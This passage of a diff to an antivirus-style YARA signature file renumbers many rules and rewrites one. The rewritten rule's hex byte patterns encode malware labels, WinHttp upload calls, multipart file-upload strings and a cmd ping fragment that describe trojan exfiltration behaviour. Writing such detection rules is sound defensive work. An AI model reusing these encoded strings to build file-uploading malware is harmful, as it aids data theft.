00 39 81 01 24 24 5c 70 72 6f 74 6f 6b 6f 6c 63 68 65 66 5c 70 6f 6f 64 6c 65 72 5c 73 75 62 64 65 6d 6f 6e 73 74 72 61 74 69 6e 67 5c 63 68 75 6d 6d 69 6c 79 2e 47 6f 6e 35 31 2d 3e 01 00 20 81 01 39 } //25966 + $a_75_7 = {77 6f 72 74 5c 52 65 73 74 72 69 6b 74 69 76 65 73 74 65 73 36 35 2e 44 6d 70 01 00 1d 81 01 25 47 69 64 73 65 6c 64 72 61 6d 61 65 74 39 39 25 5c 54 65 6e 6f 72 73 61 78 65 6e 73 01 00 19 81 01 2d 5c 6f 70 74 6c 6c 65 73 5c 55 64 6c 65 64 6e 69 6e 67 65 6e 2e 69 6e 69 01 00 2a 81 01 25 75 64 62 79 74 74 65 6b 6f 6e 66 69 73 } //23609 + $a_69_8 = {6e 65 6e 73 25 5c 6e 76 6e 65 5c 73 6b 6f 76 6e 69 6e 67 65 72 6e 65 01 00 3d 81 01 25 67 65 6e 66 6f 72 73 69 6b 72 69 6e 67 25 5c 74 65 6c 63 68 69 6e 69 63 5c 62 72 6f 6b 66 75 67 6c 65 5c 68 6f 66 6c 65 76 65 72 61 6e 64 72 65 6e 73 5c 6f 6d 65 67 61 65 72 6e 65 01 00 26 81 01 2d 5c 54 72 61 6e 73 69 73 74 6f 72 69 73 65 5c 64 65 66 6f 67 67 } //24939 + $a_72_9 = {6c 69 61 62 69 6c 69 74 69 65 73 01 00 2d 81 01 25 63 6c 61 6e 73 6d 61 6e 25 5c 55 6e 70 68 6f 74 6f 67 72 61 70 68 65 64 5c 63 68 61 62 61 73 69 74 65 5c 68 61 6c 6f 70 68 69 6c 65 01 00 3b 81 01 39 39 5c 61 61 62 65 6e 72 61 61 65 72 65 6e 73 5c 68 79 70 6f 70 65 74 61 6c } //29285 + condition: + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30051+(#a_6d_2 & 1)*29811+(#a_72_3 & 1)*29298+(#a_65_4 & 1)*21536+(#a_79_5 & 1)*29728+(#a_5c_6 & 1)*25966+(#a_75_7 & 1)*23609+(#a_69_8 & 1)*24939+(#a_72_9 & 1)*29285) >=4 + +} +rule _InfrastructureShared_21158{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -250167,7 +265238,7 @@ rule _InfrastructureShared_19946{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29795+(#a_69_3 & 1)*9473+(#a_6b_4 & 1)*26982+(#a_67_5 & 1)*28518+(#a_6e_6 & 1)*25964+(#a_64_7 & 1)*16686+(#a_64_8 & 1)*29555+(#a_73_10 & 1)*26723+(#a_6f_11 & 1)*25462) >=12 } -rule _InfrastructureShared_19947{ +rule _InfrastructureShared_21159{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,66 00 66 00 0d 00 21 " @@ -250185,7 +265256,7 @@ rule _InfrastructureShared_19947{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*17239+(#a_70_3 & 1)*29283+(#a_43_4 & 1)*17152+(#a_6e_5 & 1)*24909+(#a_74_6 & 1)*31090+(#a_00_8 & 1)*77+(#a_00_10 & 1)*101+(#a_00_12 & 1)*51) >=102 } -rule _InfrastructureShared_19948{ +rule _InfrastructureShared_21160{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -250203,7 +265274,7 @@ rule _InfrastructureShared_19948{ ((#a_46_0 & 1)*16675+(#a_2c_1 & 1)*2+(#a_00_2 & 1)*51+(#a_6c_3 & 1)*19203+(#a_4d_4 & 1)*2816+(#a_5f_5 & 1)*24390+(#a_90_6 & 1)*13163+(#a_00_7 & 1)*111+(#a_00_8 & 1)*144) >=1 } -rule _InfrastructureShared_19949{ +rule _InfrastructureShared_21161{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -250219,7 +265290,7 @@ rule _InfrastructureShared_19949{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_00_2 & 1)*144+(#a_00_4 & 1)*92+(#a_90_5 & 1)*11617+(#a_73_6 & 1)*27718+(#a_5a_7 & 1)*16697) >=4 } -rule _InfrastructureShared_19950{ +rule _InfrastructureShared_21162{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -250237,7 +265308,7 @@ rule _InfrastructureShared_19950{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*25959+(#a_58_2 & 1)*22616+(#a_58_3 & 1)*22616+(#a_69_4 & 1)*22616+(#a_58_5 & 1)*22616+(#a_3a_6 & 1)*19521+(#a_90_7 & 1)*28521+(#a_5a_8 & 1)*16762) >=9 } -rule _InfrastructureShared_19951{ +rule _InfrastructureShared_21163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0b 00 21 " @@ -250257,7 +265328,7 @@ rule _InfrastructureShared_19951{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_19_2 & 1)*25454+(#a_29_3 & 1)*25445+(#a_69_4 & 1)*11621+(#a_61_5 & 1)*281+(#a_01_6 & 1)*2+(#a_01_7 & 1)*-1+(#a_81_8 & 1)*-1+(#a_4d_9 & 1)*0+(#a_20_10 & 1)*4625) >=2 } -rule _InfrastructureShared_19952{ +rule _InfrastructureShared_21164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -250271,7 +265342,7 @@ rule _InfrastructureShared_19952{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*2310+(#a_11_2 & 1)*4954+(#a_07_3 & 1)*11546+(#a_00_4 & 1)*22537) >=5 } -rule _InfrastructureShared_19953{ +rule _InfrastructureShared_21165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -250285,7 +265356,7 @@ rule _InfrastructureShared_19953{ ((#a_54_0 & 1)*18467+(#a_b8_1 & 1)*-30399+(#a_06_2 & 1)*9340+(#a_bc_3 & 1)*17607+(#a_00_4 & 1)*144) >=5 } -rule _InfrastructureShared_19954{ +rule _InfrastructureShared_21166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0d 00 21 " @@ -250306,7 +265377,7 @@ rule _InfrastructureShared_19954{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*11618+(#a_73_2 & 1)*28520+(#a_61_3 & 1)*29549+(#a_69_4 & 1)*301+(#a_01_5 & 1)*25955+(#a_69_6 & 1)*29285+(#a_43_7 & 1)*20737+(#a_75_8 & 1)*29541+(#a_4d_9 & 1)*24899+(#a_43_10 & 1)*20737+(#a_64_11 & 1)*25454) >=12 } -rule _InfrastructureShared_19955{ +rule _InfrastructureShared_21167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 17 00 21 " @@ -250338,7 +265409,7 @@ rule _InfrastructureShared_19955{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*29286+(#a_51_2 & 1)*-32490+(#a_72_3 & 1)*11846+(#a_6f_4 & 1)*25970+(#a_01_5 & 1)*29817+(#a_01_6 & 1)*9472+(#a_65_7 & 1)*30791+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1) >=23 } -rule _InfrastructureShared_19956{ +rule _InfrastructureShared_21168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 14 00 21 " @@ -250367,7 +265438,7 @@ rule _InfrastructureShared_19956{ ((#a_46_0 & 1)*16675+(#a_56_1 & 1)*25926+(#a_4a_2 & 1)*20737+(#a_39_3 & 1)*25719+(#a_52_4 & 1)*22900+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_4f_13 & 1)*0+(#a_50_14 & 1)*11897+(#a_74_15 & 1)*25970+(#a_69_16 & 1)*31088+(#a_65_17 & 1)*18515+(#a_50_18 & 1)*30575+(#a_65_19 & 1)*26950) >=3 } -rule _InfrastructureShared_19957{ +rule _InfrastructureShared_21169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 17 00 21 " @@ -250398,7 +265469,7 @@ rule _InfrastructureShared_19957{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*24937+(#a_01_2 & 1)*30789+(#a_44_3 & 1)*30575+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_02_10 & 1)*1+(#a_02_11 & 1)*1+(#a_4f_12 & 1)*0+(#a_68_13 & 1)*24940+(#a_01_14 & 1)*4096+(#a_72_15 & 1)*26957+(#a_6b_16 & 1)*19538+(#a_02_17 & 1)*30720+(#a_00_18 & 1)*111+(#a_00_19 & 1)*838+(#a_00_21 & 1)*112+(#a_70_22 & 1)*25716) >=22 } -rule _InfrastructureShared_19958{ +rule _InfrastructureShared_21170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 18 00 21 " @@ -250428,7 +265499,7 @@ rule _InfrastructureShared_19958{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*27718+(#a_69_2 & 1)*384+(#a_00_3 & 1)*29801+(#a_69_4 & 1)*384+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_00_14 & 1)*0+(#a_41_17 & 1)*8448+(#a_4e_18 & 1)*26485+(#a_2c_20 & 1)*109+(#a_41_21 & 1)*11568+(#a_70_22 & 1)*25603+(#a_00_23 & 1)*92) >=100 } -rule _InfrastructureShared_19959{ +rule _InfrastructureShared_21171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -250443,7 +265514,7 @@ rule _InfrastructureShared_19959{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*82+(#a_00_3 & 1)*32+(#a_01_4 & 1)*-28672+(#a_09_6 & 1)*11408+(#a_2d_7 & 1)*14637) >=8 } -rule _InfrastructureShared_19960{ +rule _InfrastructureShared_21172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -250464,7 +265535,7 @@ rule _InfrastructureShared_19960{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25710+(#a_6f_2 & 1)*27502+(#a_6b_3 & 1)*23553+(#a_61_4 & 1)*29798+(#a_5c_5 & 1)*-32496+(#a_5c_6 & 1)*27491+(#a_00_8 & 1)*110+(#a_00_9 & 1)*92+(#a_39_10 & 1)*12297+(#a_00_12 & 1)*114+(#a_5c_13 & 1)*25954) >=14 } -rule _InfrastructureShared_19961{ +rule _InfrastructureShared_21173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -250477,7 +265548,7 @@ rule _InfrastructureShared_19961{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_2 & 1)*46+(#a_00_4 & 1)*116) >=1 } -rule _InfrastructureShared_19962{ +rule _InfrastructureShared_21174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -250494,7 +265565,7 @@ rule _InfrastructureShared_19962{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_19_2 & 1)*1+(#a_6a_3 & 1)*26980+(#a_00_4 & 1)*110+(#a_00_5 & 1)*100+(#a_90_6 & 1)*14+(#a_00_8 & 1)*100) >=3 } -rule _InfrastructureShared_19963{ +rule _InfrastructureShared_21175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -250508,7 +265579,7 @@ rule _InfrastructureShared_19963{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*71+(#a_00_4 & 1)*111+(#a_00_5 & 1)*102+(#a_00_7 & 1)*101) >=8 } -rule _InfrastructureShared_19964{ +rule _InfrastructureShared_21176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -250526,7 +265597,7 @@ rule _InfrastructureShared_19964{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*18018+(#a_65_2 & 1)*13112+(#a_48_3 & 1)*13427+(#a_56_4 & 1)*17531+(#a_65_5 & 1)*28530+(#a_00_6 & 1)*21112+(#a_00_7 & 1)*11+(#a_4d_8 & 1)*28257) >=10 } -rule _InfrastructureShared_19965{ +rule _InfrastructureShared_21177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -250546,7 +265617,7 @@ rule _InfrastructureShared_19965{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*4864+(#a_00_2 & 1)*101+(#a_70_3 & 1)*29283+(#a_48_4 & 1)*17744+(#a_41_5 & 1)*19269+(#a_77_6 & 1)*22605+(#a_35_7 & 1)*17461+(#a_34_8 & 1)*17986+(#a_32_9 & 1)*16384+(#a_31_10 & 1)*14393) >=11 } -rule _InfrastructureShared_19966{ +rule _InfrastructureShared_21178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0c 00 21 " @@ -250567,7 +265638,7 @@ rule _InfrastructureShared_19966{ ((#a_54_0 & 1)*18467+(#a_38_1 & 1)*16964+(#a_43_2 & 1)*17207+(#a_35_3 & 1)*13378+(#a_44_4 & 1)*12852+(#a_45_5 & 1)*17205+(#a_53_6 & 1)*7680+(#a_2e_7 & 1)*25972+(#a_72_8 & 1)*1282+(#a_61_9 & 1)*19561+(#a_79_10 & 1)*21367+(#a_75_11 & 1)*25938) >=14 } -rule _InfrastructureShared_19967{ +rule _InfrastructureShared_21179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 19 00 21 " @@ -250601,7 +265672,7 @@ rule _InfrastructureShared_19967{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*21294+(#a_53_2 & 1)*5888+(#a_2e_3 & 1)*25972+(#a_65_4 & 1)*25972+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_53_15 & 1)*0+(#a_0f_16 & 1)*400+(#a_1d_17 & 1)*93+(#a_01_18 & 1)*7483+(#a_1c_19 & 1)*20480+(#a_02_20 & 1)*791+(#a_db_21 & 1)*-29772+(#a_90_22 & 1)*-252+(#a_01_23 & 1)*19849+(#a_01_24 & 1)*-23804) >=25 } -rule _InfrastructureShared_19968{ +rule _InfrastructureShared_21180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -250617,7 +265688,7 @@ rule _InfrastructureShared_19968{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-29440+(#a_02_2 & 1)*-28636+(#a_01_3 & 1)*-6144+(#a_d9_5 & 1)*-32768+(#a_00_6 & 1)*-28636+(#a_24_7 & 1)*-14526) >=1 } -rule _InfrastructureShared_19969{ +rule _InfrastructureShared_21181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -250629,7 +265700,7 @@ rule _InfrastructureShared_19969{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*4086+(#a_90_2 & 1)*-16251) >=3 } -rule _InfrastructureShared_19970{ +rule _InfrastructureShared_21182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -250645,7 +265716,7 @@ rule _InfrastructureShared_19970{ ((#a_46_0 & 1)*16675+(#a_09_1 & 1)*6544+(#a_2d_2 & 1)*31277+(#a_00_3 & 1)*2448+(#a_61_4 & 1)*281+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1) >=5 } -rule _InfrastructureShared_19971{ +rule _InfrastructureShared_21183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -250663,7 +265734,7 @@ rule _InfrastructureShared_19971{ ((#a_54_0 & 1)*18467+(#a_75_2 & 1)*23553+(#a_65_3 & 1)*28261+(#a_25_4 & 1)*-32444+(#a_6e_5 & 1)*29806+(#a_6e_6 & 1)*11896+(#a_6d_7 & 1)*28261+(#a_21_8 & 1)*22830+(#a_00_9 & 1)*101) >=10 } -rule _InfrastructureShared_19972{ +rule _InfrastructureShared_21184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 0f 00 21 " @@ -250686,7 +265757,7 @@ rule _InfrastructureShared_19972{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*15+(#a_56_13 & 1)*0+(#a_00_14 & 1)*85) >=20 } -rule _InfrastructureShared_19973{ +rule _InfrastructureShared_21185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -250702,7 +265773,7 @@ rule _InfrastructureShared_19973{ ((#a_46_0 & 1)*16675+(#a_62_1 & 1)*19036+(#a_00_3 & 1)*33+(#a_00_4 & 1)*84+(#a_00_5 & 1)*101+(#a_00_7 & 1)*116+(#a_00_8 & 1)*116) >=3 } -rule _InfrastructureShared_19974{ +rule _InfrastructureShared_21186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -250719,7 +265790,7 @@ rule _InfrastructureShared_19974{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*4032+(#a_00_2 & 1)*122+(#a_00_4 & 1)*52+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=4 } -rule _InfrastructureShared_19975{ +rule _InfrastructureShared_21187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -250738,7 +265809,7 @@ rule _InfrastructureShared_19975{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-1+(#a_e8_3 & 1)*-29757+(#a_b8_4 & 1)*-5121+(#a_00_5 & 1)*144+(#a_4d_6 & 1)*6004+(#a_21_7 & 1)*18520+(#a_6b_8 & 1)*27953+(#a_2f_9 & 1)*384+(#a_6c_11 & 1)*30465) >=2 } -rule _InfrastructureShared_19976{ +rule _InfrastructureShared_21188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -250755,7 +265826,7 @@ rule _InfrastructureShared_19976{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*24436+(#a_2b_2 & 1)*13616+(#a_35_3 & 1)*28459+(#a_4d_4 & 1)*13683+(#a_2f_5 & 1)*22352+(#a_50_6 & 1)*31047+(#a_48_7 & 1)*12084) >=8 } -rule _InfrastructureShared_19977{ +rule _InfrastructureShared_21189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 14 00 21 " @@ -250779,7 +265850,7 @@ rule _InfrastructureShared_19977{ ((#a_46_0 & 1)*16675+(#a_74_2 & 1)*8192+(#a_00_4 & 1)*109+(#a_00_6 & 1)*115+(#a_00_7 & 1)*92+(#a_00_9 & 1)*111+(#a_74_10 & 1)*275+(#a_44_12 & 1)*18689+(#a_61_13 & 1)*28530+(#a_45_14 & 1)*400+(#a_78_15 & 1)*400+(#a_41_16 & 1)*400+(#a_00_17 & 1)*400+(#a_01_18 & 1)*-28603+(#a_01_19 & 1)*17862) >=11 } -rule _InfrastructureShared_19978{ +rule _InfrastructureShared_21190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -250793,7 +265864,7 @@ rule _InfrastructureShared_19978{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*400+(#a_62_2 & 1)*400+(#a_72_3 & 1)*400+(#a_61_4 & 1)*400) >=4 } -rule _InfrastructureShared_19979{ +rule _InfrastructureShared_21191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -250809,7 +265880,7 @@ rule _InfrastructureShared_19979{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_74_2 & 1)*22304+(#a_7a_3 & 1)*24841+(#a_00_5 & 1)*100+(#a_00_6 & 1)*53+(#a_00_7 & 1)*48) >=4 } -rule _InfrastructureShared_19980{ +rule _InfrastructureShared_21192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -250819,19 +265890,38 @@ rule _InfrastructureShared_19980{ $a_01_2 = {01 6e 90 01 01 5c 90 00 01 00 1f 03 47 40 62 2a 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 23 62 40 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 23 62 23 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 23 62 25 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 } //26881 $a_00_3 = {01 00 1f 03 47 23 62 2a 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 25 62 40 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 25 62 23 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 25 62 25 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 } //23553 $a_2a_4 = {90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 2a 62 40 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 2a 62 23 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 } //9543 - $a_2a_5 = {25 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 2a 62 2a 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 00 00 78 59 02 00 06 00 } //799 - $a_00_6 = {21 23 41 64 77 61 72 } //6 !#Adwar - $a_69_7 = {33 32 2f 47 61 62 70 61 74 68 00 02 00 32 01 3d 00 25 00 73 00 26 00 53 00 75 00 62 00 49 00 64 00 3d 00 25 00 73 00 26 00 4f 00 53 00 3d 00 25 00 73 00 26 00 6d 00 61 00 63 00 3d 00 25 00 73 00 02 00 7c 01 26 00 62 00 6e 00 61 00 76 00 3d 00 25 00 64 00 26 00 } //14949 - $a_00_8 = {6d 00 61 00 74 00 63 00 68 00 3d 00 25 00 64 00 26 00 6d 00 61 00 74 00 63 00 68 00 3d 00 25 00 64 00 26 00 6e 00 74 00 70 00 3d 00 25 00 64 00 26 00 6d 00 61 00 74 00 63 00 68 00 65 00 78 00 3d 00 25 00 64 00 26 00 67 00 61 00 74 00 68 00 3d 00 25 00 64 00 26 00 6c 00 70 00 6f 00 70 00 3d 00 25 00 64 00 02 00 ba 01 76 00 65 00 72 } //110 - $a_00_10 = {73 00 61 00 63 00 63 00 75 00 3d 00 25 00 69 00 26 00 61 00 63 00 3d 00 25 00 73 00 26 00 73 00 61 00 63 00 3d 00 } //105 saccu=%i&ac=%s&sac= - $a_00_11 = {26 00 68 00 77 00 64 00 3d 00 25 00 73 00 26 00 63 00 66 00 67 00 3d 00 25 00 73 00 26 00 74 00 69 00 6d 00 65 00 5f 00 73 00 69 00 6e 00 63 00 65 00 5f 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 3d 00 25 00 69 00 26 00 63 00 66 00 67 00 5f 00 64 00 6c 00 3d 00 25 00 73 00 26 00 73 00 61 00 64 00 61 00 74 00 61 00 3d 00 25 00 73 00 26 00 76 } //37 - $a_00_13 = {3d 00 25 00 73 00 02 00 42 01 63 00 66 00 67 00 5f 00 76 00 65 00 72 00 3d 00 70 00 61 00 72 00 61 00 63 00 68 00 75 00 74 00 65 00 26 00 76 00 61 00 6c 00 69 00 64 00 69 00 74 00 79 00 74 00 65 00 73 00 74 00 3d 00 25 00 64 00 01 00 20 01 6e 00 65 00 77 00 62 00 72 00 61 00 6e 00 64 00 74 00 65 00 73 00 74 00 2e 00 63 00 6f 00 6d } //102 - $a_00_15 = {63 00 75 00 72 00 65 00 64 00 2d 00 6e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 73 00 2e 00 63 00 6f 00 6d 00 01 00 2c 01 62 00 72 00 6f 00 77 00 73 00 69 00 6e 00 67 00 5f 00 65 00 72 00 72 00 6f 00 72 00 5f 00 68 00 69 00 73 00 74 00 6f 00 72 00 79 00 00 00 78 59 02 00 14 00 14 00 13 00 21 23 48 53 54 } //115 + $a_2a_5 = {25 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 01 00 1f 03 47 2a 62 2a 50 90 01 01 6c 90 01 01 75 90 01 01 67 90 01 01 69 90 01 01 6e 90 01 01 5c 90 00 00 00 78 59 02 00 04 00 } //799 + $a_00_6 = {21 23 41 4c 46 3a 54 72 6f 6a } //4 !#ALF:Troj + $a_57_7 = {6e 33 32 2f 47 65 6c 69 64 46 6c 6f 65 2e 41 21 64 68 61 00 01 00 7c 01 00 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 6d 00 75 00 } //28257 + $a_00_8 = {69 00 70 00 61 00 72 00 74 00 2f 00 66 00 6f 00 72 00 6d 00 2d 00 64 00 61 00 74 00 61 00 3b 00 20 00 62 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 3d 00 2d 00 2d 00 2d 00 2d 00 42 00 6f 00 75 00 6e 00 64 00 61 00 72 00 79 00 25 00 30 00 38 00 58 00 00 00 01 00 12 01 25 00 6c 00 73 00 5c 00 2a 00 2e 00 73 00 66 00 74 00 01 00 14 01 25 00 6c 00 } //108 + $a_00_9 = {41 00 2a 00 36 00 37 00 66 00 74 00 01 00 10 01 25 73 66 69 6c 65 6e 61 6d 65 3d 22 25 6c 73 22 01 00 10 01 6e 61 6d 65 3d 25 6c 73 26 64 65 6c 65 74 65 3d 01 00 2c 01 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 } //115 + $a_22_10 = {69 6c 65 22 3b 01 00 12 01 00 25 73 66 69 6c 65 6e 61 6d 65 3d 22 25 6c 73 22 00 01 00 70 01 57 69 6e 48 74 74 70 57 72 69 74 65 44 61 74 61 57 69 6e 48 74 74 70 51 75 65 72 79 48 65 } //25965 + $a_69_11 = {48 74 74 70 43 6c 6f 73 65 48 61 6e 64 57 69 6e 48 74 74 70 52 65 63 65 69 76 65 52 65 57 69 6e 48 74 74 70 4f 70 65 6e 52 65 71 75 65 57 69 6e 48 74 74 70 51 75 65 72 79 4f 70 74 69 57 69 6e 48 74 74 70 53 65 74 4f 70 74 69 6f 6e 01 00 44 03 63 00 6d 00 64 00 } //25697 + $a_00_12 = {78 00 65 00 20 00 2f 00 43 00 20 00 70 00 69 00 6e 00 67 00 20 00 90 28 01 00 2e 00 90 28 01 00 2e 00 90 28 01 00 2e 00 90 28 01 00 20 00 2d 00 6e 00 20 00 90 28 01 00 90 00 01 00 52 01 6a 43 58 6a 6f 66 89 45 d4 58 6a 6e 5a 6a 74 5f 6a 65 59 6a 2d 66 89 45 d6 58 6a 4c 66 89 45 e2 58 